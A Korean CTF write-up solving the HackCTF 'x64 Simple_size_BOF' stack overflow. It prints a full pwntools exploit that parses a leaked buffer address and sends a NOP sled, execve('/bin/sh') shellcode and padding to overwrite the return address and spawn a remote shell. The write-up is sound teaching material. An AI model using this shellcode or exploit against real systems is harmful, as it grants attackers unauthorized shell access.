본문 바로가기

Pwnable/HackCTF

[ProjectH4C] HackCTF (x64 Simple_size_BOF)

nc ctf.j0n9hyun.xyz 3005에 연결하면 다음과 같은 화면이 나온다.

 

이후에 값을 입력받고 프로그램이 종료된다. 친절하게도 이번 문제에서는 buf의 시작 주소를 알려주지만, 문제가 있다.

 

보이는 것처럼 연결할 때마다 buf의 위치가 달라진다. 이처럼 실행할 때마다 스택의 위치가 고정되지 않고 임의로 바뀌는 보호기법을 ASLR (Address Space Layout Randomize) 기법이라 한다. 

 

IDA를 이용해 코드를 확인하면 다음과 같다.

출력함수 부분에 %p에 v4의 주소가 들어가는 것으로 보아 v4가 buf가 될 것이다. 또, v4는 0x6d30 크기만큼 할당받는다. 크기는 충분하니 쉘 코드를 buf에 넣어 실행시키면 될 듯 하다. 

 

페이로드는 다음과 같다.

 

from pwn import *

r = remote("ctf.j0n9hyun.xyz", 3005)

r.recvuntil('buf: ')
buf = int(r.recv(14), 16)

payload = "\x90"*100 + "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05" + "A" * (27837)
payload += p64(buf)
r.sendline(payload)
r.interactive()

"buf: " 다음에 주소가 나오기 때문에 먼저 recvuntil을 이용해 "buf: "까지 읽어들인다. 주소는 항상 14바이트만큼 출력되니 recv(14)로 14바이트만큼 읽어오고, 해당 값을 16진수의 정수형태로 변환한 후에 buf 변수에 넣어준다. 그 다음 p64 함수로 리틀엔디안 방식으로 패킹해준다.

버퍼의 크기는 10진수로 27952 바이트이고, ret 주소 8바이트를 더하면 27960바이트가 되는데, 공격에 사용된 쉘 코드는 23바이트이고 혹시 몰라 앞에 100개의 NOP을 입력해주었다. NOP + ShellCode는 123바이트이기 때문에 27960 - 123 = 27837바이트만큼 추가로 값을 채워준 후에 p64로 패킹한 값을 넣어주면 된다. 실제 실행 결과는 다음과 같다.